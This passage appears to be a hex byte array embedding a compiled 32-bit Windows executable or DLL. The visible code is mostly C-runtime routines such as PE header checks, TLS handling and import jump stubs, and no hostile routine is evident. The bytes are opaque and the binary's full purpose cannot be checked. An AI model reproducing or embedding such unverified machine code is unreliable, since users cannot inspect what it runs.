x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xA1,0x50,0x4A,0x49,0x65,0x85,0xC0,0x75,0x07,0x31,0xC0,0xC3,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0xC7,0x44,0x24,0x04,0x0C,0x00,0x00,0x00,0xC7,0x04,0x24,0x01,0x00,0x00,0x00,0xE8,0xED,0x0A,0x00,0x00,0x89,0xC3,0x85,0xC0,0x74,0x40,0x8B,0x45,0x08,0x89,0x03,0x8B,0x45,0x0C,0x89,0x43,0x04,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x2C,0x61,0x49,0x65,0xA1,0x4C,0x4A,0x49,0x65,0x89,0x1D,0x4C,0x4A,0x49,0x65,0x83,0xEC,0x04,0x89,0x43,0x08,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x58,0x61,0x49,0x65,0x31,0xC0,0x83,0xEC,0x04,0x8B,0x5D,0xFC,0xC9,0xC3,0x83,0xC8,0xFF,0xEB,0xF6,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0xA1,0x50,0x4A,0x49,0x65,0x8B,0x5D,0x08,0x85,0xC0,0x75,0x0D,0x8B,0x5D,0xFC,0x31,0xC0,0xC9,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x2C,0x61,0x49,0x65,0xA1,0x4C,0x4A,0x49,0x65,0x83,0xEC,0x04,0x85,0xC0,0x74,0x27,0x31,0xC9,0xEB,0x0B,0x8D,0x76,0x00,0x89,0xC1,0x85,0xD2,0x74,0x1A,0x89,0xD0,0x8B,0x10,0x39,0xDA,0x8B,0x50,0x08,0x75,0xEF,0x85,0xC9,0x74,0x2B,0x89,0x51,0x08,0x89,0x04,0x24,0xE8,0x40,0x0A,0x00,0x00,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x58,0x61,0x49,0x65,0x8B,0x5D,0xFC,0x31,0xC0,0x83,0xEC,0x04,0xC9,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x89,0x15,0x4C,0x4A,0x49,0x65,0xEB,0xD0,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x8B,0x45,0x0C,0x83,0xF8,0x02,0x0F,0x84,0x9D,0x00,0x00,0x00,0x77,0x2B,0x85,0xC0,0x74,0x3F,0xA1,0x50,0x4A,0x49,0x65,0x85,0xC0,0x0F,0x84,0xAA,0x00,0x00,0x00,0xC7,0x05,0x50,0x4A,0x49,0x65,0x01,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0x83,0xF8,0x03,0x75,0xEB,0xA1,0x50,0x4A,0x49,0x65,0x85,0xC0,0x74,0xE2,0xE8,0x1D,0xFE,0xFF,0xFF,0xEB,0xDB,0x8D,0x76,0x00,0xA1,0x50,0x4A,0x49,0x65,0x85,0xC0,0x75,0x5F,0xA1,0x50,0x4A,0x49,0x65,0x83,0xF8,0x01,0x75,0xC5,0x8B,0x1D,0x4C,0x4A,0x49,0x65,0x85,0xDB,0x74,0x14,0x8D,0x76,0x00,0x89,0xD8,0x8B,0x5B,0x08,0x89,0x04,0x24,0xE8,0x8B,0x09,0x00,0x00,0x85,0xDB,0x75,0xEF,0xC7,0x05,0x4C,0x4A,0x49,0x65,0x00,0x00,0x00,0x00,0xC7,0x05,0x50,0x4A,0x49,0x65,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x28,0x61,0x49,0x65,0x83,0xEC,0x04,0xEB,0x81,0x90,0xE8,0x4B,0x04,0x00,0x00,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x90,0xE8,0xAB,0xFD,0xFF,0xFF,0xEB,0x9A,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x54,0x61,0x49,0x65,0x83,0xEC,0x04,0xE9,0x41,0xFF,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x31,0xD2,0x89,0xE5,0x8B,0x45,0x08,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0B,0x03,0x40,0x3C,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x06,0x89,0xD0,0x5D,0xC3,0x66,0x90,0x31,0xD2,0x66,0x81,0x78,0x18,0x0B,0x01,0x5D,0x0F,0x94,0xC2,0x89,0xD0,0xC3,0x90,0x55,0x89,0xE5,0x56,0x8B,0x55,0x08,0x53,0x8B,0x5D,0x0C,0x03,0x52,0x3C,0x0F,0xB7,0x42,0x14,0x0F,0xB7,0x72,0x06,0x8D,0x44,0x02,0x18,0x66,0x85,0xF6,0x74,0x21,0x31,0xC9,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x50,0x0C,0x39,0xD3,0x72,0x07,0x03,0x50,0x08,0x39,0xD3,0x72,0x0C,0x83,0xC1,0x01,0x83,0xC0,0x28,0x39,0xF1,0x75,0xE8,0x31,0xC0,0x5B,0x5E,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x31,0xDB,0x83,0xEC,0x1C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE2,0x08,0x00,0x00,0x83,0xF8,0x08,0x77,0x72,0x66,0x81,0x3D,0x00,0x00,0x48,0x65,0x4D,0x5A,0x75,0x67,0x8B,0x15,0x3C,0x00,0x48,0x65,0x81,0xBA,0x00,0x00,0x48,0x65,0x50,0x45,0x00,0x00,0x8D,0x82,0x00,0x00,0x48,0x65,0x75,0x4F,0x66,0x81,0xBA,0x18,0x00,0x48,0x65,0x0B,0x01,0x75,0x44,0x0F,0xB7,0x92,0x14,0x00,0x48,0x65,0x0F,0xB7,0x78,0x06,0x8D,0x5C,0x10,0x18,0x66,0x85,0xFF,0x74,0x43,0x31,0xF6,0xEB,0x11,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x83,0xC6,0x01,0x83,0xC3,0x28,0x39,0xFE,0x74,0x2E,0x8B,0x45,0x08,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x89,0x1C,0x24,0x89,0x44,0x24,0x04,0xE8,0x77,0x08,0x00,0x00,0x85,0xC0,0x75,0xDB,0x83,0xC4,0x1C,0x89,0xD8,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x83,0xC4,0x1C,0x31,0xDB,0x89,0xD8,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0x74,0x26,0x00,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x48,0x65,0x4D,0x5A,0x75,0x18,0x8B,0x0D,0x3C,0x00,0x48,0x65,0x81,0xB9,0x00,0x00,0x48,0x65,0x50,0x45,0x00,0x00,0x8D,0x91,0x00,0x00,0x48,0x65,0x74,0x0B,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x66,0x81,0xB9,0x18,0x00,0x48,0x65,0x0B,0x01,0x75,0xEA,0x55,0x0F,0xB7,0x81,0x14,0x00,0x48,0x65,0x8D,0x44,0x02,0x18,0x89,0xE5,0x56,0x0F,0xB7,0xB1,0x06,0x00,0x48,0x65,0x53,0x8B,0x5D,0x08,0x81,0xEB,0x00,0x00,0x48,0x65,0x66,0x85,0xF6,0x74,0x20,0x31,0xC9,0x8D,0xB6,0x00,0x00,0x00,0x00,0x8B,0x50,0x0C,0x39,0xD3,0x72,0x07,0x03,0x50,0x08,0x39,0xD3,0x72,0x0C,0x83,0xC1,0x01,0x83,0xC0,0x28,0x39,0xCE,0x75,0xE8,0x31,0xC0,0x5B,0x5E,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x48,0x65,0x4D,0x5A,0x75,0x12,0x8B,0x15,0x3C,0x00,0x48,0x65,0x81,0xBA,0x00,0x00,0x48,0x65,0x50,0x45,0x00,0x00,0x74,0x01,0xC3,0x66,0x81,0xBA,0x18,0x00,0x48,0x65,0x0B,0x01,0x75,0xF4,0x0F,0xB7,0x82,0x06,0x00,0x48,0x65,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x2E,0x8D,0x74,0x26,0x00,0x55,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x48,0x65,0x4D,0x5A,0x89,0xE5,0x53,0x8B,0x4D,0x08,0x75,0x18,0x8B,0x1D,0x3C,0x00,0x48,0x65,0x81,0xBB,0x00,0x00,0x48,0x65,0x50,0x45,0x00,0x00,0x8D,0x93,0x00,0x00,0x48,0x65,0x74,0x0C,0x8B,0x5D,0xFC,0xC9,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x81,0xBB,0x18,0x00,0x48,0x65,0x0B,0x01,0x75,0xE9,0x0F,0xB7,0x83,0x14,0x00,0x48,0x65,0x0F,0xB7,0x9B,0x06,0x00,0x48,0x65,0x8D,0x44,0x02,0x18,0x66,0x85,0xDB,0x74,0x1D,0x31,0xD2,0x8D,0x74,0x26,0x00,0xF6,0x40,0x27,0x20,0x74,0x07,0x85,0xC9,0x74,0xC2,0x83,0xE9,0x01,0x83,0xC2,0x01,0x83,0xC0,0x28,0x39,0xDA,0x75,0xE9,0x8B,0x5D,0xFC,0x31,0xC0,0xC9,0xC3,0x66,0x90,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x48,0x65,0x4D,0x5A,0x75,0x12,0x8B,0x15,0x3C,0x00,0x48,0x65,0x81,0xBA,0x00,0x00,0x48,0x65,0x50,0x45,0x00,0x00,0x74,0x01,0xC3,0x66,0x81,0xBA,0x18,0x00,0x48,0x65,0x0B,0x01,0xBA,0x00,0x00,0x48,0x65,0x0F,0x44,0xC2,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB6,0x00,0x00,0x00,0x00,0x31,0xD2,0x66,0x81,0x3D,0x00,0x00,0x48,0x65,0x4D,0x5A,0x75,0x17,0xA1,0x3C,0x00,0x48,0x65,0x81,0xB8,0x00,0x00,0x48,0x65,0x50,0x45,0x00,0x00,0x8D,0x88,0x00,0x00,0x48,0x65,0x74,0x0C,0x89,0xD0,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x66,0x81,0xB8,0x18,0x00,0x48,0x65,0x0B,0x01,0x75,0xE9,0x55,0x0F,0xB7,0x80,0x14,0x00,0x48,0x65,0x8D,0x44,0x01,0x18,0x89,0xE5,0x56,0x53,0x8B,0x5D,0x08,0x0F,0xB7,0x71,0x06,0x81,0xEB,0x00,0x00,0x48,0x65,0x66,0x85,0xF6,0x74,0x1D,0x31,0xC9,0x90,0x8B,0x50,0x0C,0x39,0xD3,0x72,0x07,0x03,0x50,0x08,0x39,0xD3,0x72,0x12,0x83,0xC1,0x01,0x83,0xC0,0x28,0x39,0xCE,0x75,0xE8,0x31,0xD2,0x5B,0x89,0xD0,0x5E,0x5D,0xC3,0x8B,0x50,0x24,0x5B,0x5E,0x5D,0xF7,0xD2,0xC1,0xEA,0x1F,0x89,0xD0,0xC3,0x66,0x90,0x55,0x31,0xC9,0x66,0x81,0x3D,0x00,0x00,0x48,0x65,0x4D,0x5A,0x89,0xE5,0x57,0x56,0x53,0x8B,0x5D,0x08,0x75,0x17,0xA1,0x3C,0x00,0x48,0x65,0x81,0xB8,0x00,0x00,0x48,0x65,0x50,0x45,0x00,0x00,0x8D,0xB0,0x00,0x00,0x48,0x65,0x74,0x0B,0x5B,0x89,0xC8,0x5E,0x5F,0x5D,0xC3,0x8D,0x74,0x26,0x00,0x66,0x81,0xB8,0x18,0x00,0x48,0x65,0x0B,0x01,0x75,0xEA,0x8B,0x80,0x80,0x00,0x48,0x65,0x85,0xC0,0x74,0xE0,0x0F,0xB7,0x56,0x14,0x0F,0xB7,0x7E,0x06,0x8D,0x54,0x16,0x18,0x66,0x85,0xFF,0x74,0xCF,0x31,0xF6,0x8B,0x4A,0x0C,0x39,0xC8,0x72,0x07,0x03,0x4A,0x08,0x39,0xC8,0x72,0x1A,0x83,0xC6,0x01,0x83,0xC2,0x28,0x39,0xF7,0x75,0xE8,0x31,0xC9,0x5B,0x5E,0x89,0xC8,0x5F,0x5D,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x48,0x65,0xEB,0x07,0x90,0x83,0xEB,0x01,0x83,0xC0,0x14,0x8B,0x48,0x04,0x85,0xC9,0x75,0x07,0x8B,0x50,0x0C,0x85,0xD2,0x74,0xD4,0x85,0xDB,0x7F,0xE8,0x8B,0x48,0x0C,0x5B,0x5E,0x5F,0x81,0xC1,0x00,0x00,0x48,0x65,0x5D,0x89,0xC8,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xDB,0xE3,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x51,0x50,0x3D,0x00,0x10,0x00,0x00,0x8D,0x4C,0x24,0x0C,0x72,0x15,0x81,0xE9,0x00,0x10,0x00,0x00,0x83,0x09,0x00,0x2D,0x00,0x10,0x00,0x00,0x3D,0x00,0x10,0x00,0x00,0x77,0xEB,0x29,0xC1,0x83,0x09,0x00,0x58,0x59,0xC3,0x90,0x90,0x66,0x90,0x66,0x90,0xB8,0x01,0x00,0x00,0x00,0xC2,0x0C,0x00,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x31,0xD2,0x89,0xE5,0x53,0x8B,0x4D,0x0C,0x8B,0x5D,0x08,0x89,0xD8,0x85,0xC9,0x75,0x11,0xEB,0x14,0x8D,0x74,0x26,0x00,0x83,0xC0,0x01,0x89,0xC2,0x29,0xDA,0x39,0xCA,0x73,0x05,0x80,0x38,0x00,0x75,0xF0,0x8B,0x5D,0xFC,0x89,0xD0,0xC9,0xC3,0x90,0x55,0x31,0xC0,0x89,0xE5,0x8B,0x55,0x0C,0x8B,0x4D,0x08,0x85,0xD2,0x75,0x10,0xEB,0x17,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x83,0xC0,0x01,0x39,0xC2,0x74,0x09,0x66,0x83,0x3C,0x41,0x00,0x75,0xF2,0x89,0xC2,0x89,0xD0,0x5D,0xC3,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x2C,0x8B,0x75,0x08,0x85,0xF6,0x0F,0x84,0x8A,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x9C,0x04,0x00,0x00,0x8D,0x7C,0x00,0x01,0x89,0x3C,0x24,0xE8,0x48,0x04,0x00,0x00,0x89,0xC3,0x85,0xC0,0x75,0x31,0xEB,0x3F,0x8B,0x45,0x0C,0x89,0x74,0x24,0x08,0x89,0x7C,0x24,0x04,0x89,0x44,0x24,0x0C,0x89,0x1C,0x24,0xE8,0x01,0x04,0x00,0x00,0x85,0xC0,0x79,0x3D,0x01,0xFF,0x89,0x1C,0x24,0x89,0x7C,0x24,0x04,0xE8,0x47,0x04,0x00,0x00,0x85,0xC0,0x74,0x0A,0x89,0xC3,0x81,0xFF,0xFE,0xFF,0xFF,0x7F,0x76,0xC9,0x89,0x1C,0x24,0xE8,0xF1,0x03,0x00,0x00,0xC7,0x04,0x24,0x0C,0x00,0x00,0x00,0xE8,0xA5,0x00,0x00,0x00,0xB8,0xFF,0xFF,0xFF,0xFF,0xEB,0x14,0x8D,0xB6,0x00,0x00,0x00,0x00,0x89,0x1C,0x24,0x89,0x45,0xE4,0xE8,0xCD,0x03,0x00,0x00,0x8B,0x45,0xE4,0x83,0xC4,0x2C,0x5B,0x5E,0x5F,0x5D,0xC3,0xC7,0x04,0x24,0x16,0x00,0x00,0x00,0xE8,0x76,0x00,0x00,0x00,0xEB,0xCF,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x56,0x53,0x83,0xEC,0x10,0x8B,0x5D,0x08,0x8B,0x75,0x0C,0xC7,0x04,0x24,0x2C,0xEE,0x48,0x65,0xFF,0x15,0x3C,0x61,0x49,0x65,0x83,0xEC,0x04,0x85,0xC0,0x74,0x2E,0xC7,0x44,0x24,0x04,0x42,0xEE,0x48,0x65,0x89,0x04,0x24,0xFF,0x15,0x40,0x61,0x49,0x65,0x83,0xEC,0x08,0x85,0xC0,0x74,0x16,0xA3,0x90,0xD0,0x48,0x65,0x89,0x75,0x0C,0x89,0x5D,0x08,0x8D,0x65,0xF8,0x5B,0x5E,0x5D,0xFF,0xE0,0x8D,0x76,0x00,0xB8,0xB0,0xC7,0x48,0x65,0xEB,0xE3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0xFF,0x25,0x90,0xD0,0x48,0x65,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x08,0xE8,0xFD,0x02,0x00,0x00,0x8B,0x55,0x08,0x89,0x10,0x31,0xC0,0xC9,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x53,0x83,0xEC,0x04,0x8B,0x5D,0x08,0x85,0xDB,0x74,0x12,0xE8,0xD5,0x02,0x00,0x00,0x8B,0x00,0x89,0x03,0x8B,0x5D,0xFC,0x31,0xC0,0xC9,0xC3,0x66,0x90,0xE8,0xC3,0x02,0x00,0x00,0x8B,0x5D,0xFC,0xC7,0x00,0x16,0x00,0x00,0x00,0xB8,0x16,0x00,0x00,0x00,0xC9,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xE9,0x9B,0x03,0x00,0x00,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0x76,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x2C,0xA1,0x94,0xD0,0x48,0x65,0x8B,0x5D,0x08,0x8B,0x75,0x0C,0x8B,0x7D,0x10,0x8B,0x55,0x14,0x3D,0x40,0xC9,0x48,0x65,0x74,0x1F,0x89,0x55,0x14,0x89,0x7D,0x10,0x89,0x75,0x0C,0x89,0x5D,0x08,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xFF,0xE0,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x89,0x55,0xE4,0xC7,0x04,0x24,0x50,0xEE,0x48,0x65,0xFF,0x15,0x3C,0x61,0x49,0x65,0x83,0xEC,0x04,0xC7,0x44,0x24,0x04,0x66,0xEE,0x48,0x65,0x89,0x04,0x24,0xFF,0x15,0x40,0x61,0x49,0x65,0xB9,0x30,0xC9,0x48,0x65,0x8B,0x55,0xE4,0x83,0xEC,0x08,0x85,0xC0,0x0F,0x44,0xC1,0xA3,0x94,0xD0,0x48,0x65,0xEB,0xA6,0x2E,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x2C,0xA1,0x94,0xD0,0x48,0x65,0x8B,0x5D,0x08,0x8B,0x75,0x0C,0x8B,0x7D,0x10,0x8B,0x55,0x14,0x3D,0x40,0xC9,0x48,0x65,0x74,0x1F,0x89,0x55,0x14,0x89,0x7D,0x10,0x89,0x75,0x0C,0x89,0x5D,0x08,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xFF,0xE0,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x89,0x55,0xE4,0xC7,0x04,0x24,0x50,0xEE,0x48,0x65,0xFF,0x15,0x3C,0x61,0x49,0x65,0x83,0xEC,0x04,0xC7,0x44,0x24,0x04,0x66,0xEE,0x48,0x65,0x89,0x04,0x24,0xFF,0x15,0x40,0x61,0x49,0x65,0xB9,0x30,0xC9,0x48,0x65,0x8B,0x55,0xE4,0x83,0xEC,0x08,0x85,0xC0,0x0F,0x44,0xC1,0xA3,0x94,0xD0,0x48,0x65,0xEB,0xA6,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x8B,0x45,0x08,0x5D,0xC1,0xE0,0x05,0x03,0x05,0x8C,0x61,0x49,0x65,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x8B,0x45,0x08,0x85,0xC0,0x74,0x18,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0xC7,0x40,0x04,0x00,0x00,0x00,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x5D,0xC3,0xB8,0xFF,0xFF,0xFF,0xFF,0x5D,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x5D,0x08,0x85,0xDB,0x0F,0x84,0xAD,0x00,0x00,0x00,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x38,0x01,0x00,0x00,0x8B,0x03,0x85,0xC0,0x74,0x62,0x8B,0x53,0x04,0x8B,0x43,0x08,0x39,0xC2,0x74,0x28,0x8D,0x42,0x04,0x89,0x43,0x04,0x8B,0x45,0x0C,0x89,0x02,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x19,0x01,0x00,0x00,0x31,0xC0,0x83,0xC4,0x1C,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x03,0x89,0xD7,0x29,0xC7,0x89,0x04,0x24,0x89,0xFE,0xC1,0xFE,0x02,0xC1,0xE6,0x03,0x89,0x74,0x24,0x04,0xE8,0x4E,0x01,0x00,0x00,0x85,0xC0,0x74,0x3F,0x89,0x03,0x8D,0x14,0x38,0x01,0xF0,0x89,0x43,0x08,0xEB,0xAE,0x8D,0xB6,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x04,0x00,0x00,0x00,0xC7,0x04,0x24,0x20,0x00,0x00,0x00,0xE8,0xDC,0x00,0x00,0x00,0x89,0x03,0x89,0xC2,0x85,0xC0,0x74,0x11,0x89,0x43,0x04,0x8D,0x80,0x80,0x00,0x00,0x00,0x89,0x43,0x08,0xE9,0x77,0xFF,0xFF,0xFF,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x9F,0x00,0x00,0x00,0x83,0xC8,0xFF,0xEB,0x83,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x7D,0x08,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x70,0x00,0x00,0x00,0x8B,0x37,0x8B,0x5F,0x04,0xC7,0x47,0x08,0x00,0x00,0x00,0x00,0xC7,0x47,0x04,0x00,0x00,0x00,0x00,0xC7,0x07,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x53,0x00,0x00,0x00,0x85,0xF6,0x74,0x1E,0x83,0xEB,0x04,0x39,0xF3,0x72,0x0F,0x8B,0x03,0x85,0xC0,0x74,0xF3,0xFF,0xD0,0x83,0xEB,0x04,0x39,0xF3,0x73,0xF1,0x89,0x34,0x24,0xE8,0x51,0x00,0x00,0x00,0x83,0xC4,0x1C,0x31,0xC0,0x5B,0x5E,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0x25,0x80,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0x84,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0x88,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0x90,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0x94,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0x98,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xA0,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xA4,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xA8,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xAC,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xB0,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xB4,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xB8,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xBC,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xC0,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xC4,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xC8,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xCC,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xD0,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xD4,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xD8,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xDC,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xE0,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xE4,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xEC,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xF0,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xF4,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xF8,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0xFC,0x61,0x49,0x65,0x90,0x90,0xFF,0x25,0x00,0x62,0x49,0x65,0x90,0x90,0xFF,0x25,0x04,0x62,0x49,0x65,0x90,0x90,0x66,0x90,0x66,0x90,0x66,0x90,0x66,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x2C,0x8B,0x5D,0x0C,0x8B,0x55,0x08,0x8B,0x75,0x10,0x8B,0x7D,0x14,0x85,0xDB,0x75,0x17,0x89,0x7D,0x0C,0x89,0x75,0x08,0x83,0xC4,0x2C,0x5B,0x5E,0x5F,0x5D,0xE9,0xC5,0xFB,0xFF,0xFF,0x2E,0x8D,0x74,0x26,0x00,0x89,0x14,0x24,0x89,0x7C,0x24,0x0C,0x89,0x74,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x55,0xE4,0xE8,0xE1,0xFE,0xFF,0xFF,0x8B,0x55,0xE4,0x85,0xC0,0x78,0x12,0x39,0xC3,0x74,0x0E,0x83,0xC4,0x2C,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0xC6,0x44,0x1A,0xFF,0x00,0x85,0xC0,0x78,0xB0,0x83,0xC4,0x2C,0x5B,0x5E,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xE9,0xAB,0x46,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0xFF,0xFF,0xFF,0x50,0xCD,0x48,0x65,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE4,0xE9,0x48,0x65,0xFA,0xE9,0x48,0x65,0x10,0xEA,0x48,0x65,0x24,0xEA,0x48,0x65,0x3C,0xEA,0x48,0x65,0x56,0xEA,0x48,0x65,0x6E,0xEA,0x48,0x65,0x88,0xEA,0x48,0x65,0x9E,0xEA,0x48,0x65,0xB8,0xEA,0x48,0x65,0xCC,0xEA,0x48,0x65,0xE2,0xEA,0x48,0x65,0xF8,0xEA,0x48,0x65,0x0E,0xEB,0x48,0x65,0x2C,0